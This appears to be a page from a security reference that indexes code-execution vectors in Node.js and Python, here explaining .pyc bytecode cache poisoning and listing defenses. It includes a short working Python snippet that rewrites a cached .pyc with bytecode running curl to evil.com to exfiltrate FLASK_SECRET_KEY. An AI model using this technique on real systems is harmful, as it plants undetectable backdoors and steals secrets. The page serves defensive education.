lote.guide
esc
  • npm lifecycle scriptsscripts field in package.jsonNode.js
  • setup.py arbitrary code executionsetup.py in source distributions (sdist)Python
  • NODE_OPTIONS preload injectionNODE_OPTIONS environment variable, CLI flags, or .env files loaded via --env-fileNode.js
  • .pth file import execution*.pth files on sys.path (commonly site-packages)Python
  • binding.gyp / node-gyp native compilationbinding.gyp file in the package rootNode.js
  • Corepack (packageManager field)"packageManager" field in package.json, COREPACK_HOME cache directoryNode.js
  • .npmrc registry manipulation.npmrc file (project, user, or global)Node.js
  • overrides / resolutions dependency swapoverrides (npm) or resolutions (Yarn) field in package.jsonNode.js
  • pnpm hooks (pnpmfile.cjs).pnpmfile.cjs in the project rootNode.js
  • .yarnrc.yml plugins and registry.yarnrc.yml in the project rootNode.js
  • pyproject.toml build backendspyproject.toml [build-system] tablePython
  • sitecustomize / usercustomize auto-importsitecustomize.py / usercustomize.py on sys.path (usually site-packages)Python
  • .node native addon loading.node files in node_modules/ (typically under build/Release/ or prebuilds/)Node.js
  • Yarn Plug'n'Play (.pnp.cjs).pnp.cjs in the project rootNode.js
  • __init__.py execution on import__init__.py in any package directory on sys.pathPython
  • .pyc bytecode cache poisoning.pyc files in __pycache__/ directories alongside source modulesPython
  • PYTHONPATH / PYTHONHOME module shadowingPYTHONPATH / PYTHONHOME environment variablesPython
  • npx / npm exec remote executionnpx, npm exec, npm create / npm init (initializer flows)Node.js
  • conftest.py auto-loading (pytest)conftest.py files in any directory pytest traversesPython
  • NODE_PATH environment variableNODE_PATH environment variableNode.js
  • "imports" field (subpath imports)imports field in package.jsonNode.js
  • require.extensions / Module._extensionsrequire.extensions / Module._extensions in any loaded moduleNode.js
  • .egg files and EGG-INFO scripts.egg files in site-packages (registered via easy-install.pth)Python
  • Zip imports (zipimport).zip / .pyz files on sys.path, or passed directly to the interpreterPython
  • PYTHONSTARTUP environment variablePYTHONSTARTUP environment variablePython
  • node_modules/.hooks/ directorynode_modules/.hooks/ directoryNode.js
Python
Module resolution/File on disk

.pyc bytecode cache poisoning

On any import of the corresponding module

Lives in
.pyc files in __pycache__/ directories alongside source modules
Attacker needs
Filesystem write access
Lifecycle
Install
Startup
your code
Module load
Runtime
REPL

Runs on import or require, for every module the app loads.

How it runs

When Python imports a module, it checks __pycache__/ for a compiled .pyc before reading the .py source. The .pyc header stores the source's timestamp and size. Python uses them to decide whether the source changed, not whether the bytecode is legitimate. If the header says the source is unchanged, Python trusts the bytecode without further checks.

The attack keeps the original 16-byte header, with its correct timestamp and size, and replaces only the marshalled code object after it. The .py source is untouched, every validation passes, and the malicious bytecode loads.

import pathlib, marshal
pyc = list(pathlib.Path('routes/__pycache__').glob('auth*.pyc'))[0]
header = pyc.read_bytes()[:16]
evil = compile('import os; os.system("curl https://evil.com/?s=$FLASK_SECRET_KEY")',
               'routes/auth.py', 'exec')
pyc.write_bytes(header + marshal.dumps(evil))

This is nasty in shared environments and CI/CD. Write access to __pycache__/ usually comes with the same permissions as the source directory. With it, an attacker can backdoor any module without touching the source. Code review sees nothing. git diff sees nothing.

Defend

Treat __pycache__ as code; use hash-based .pyc invalidation (PEP 552); rebuild bytecode in clean environments; restrict write perms on deployed trees.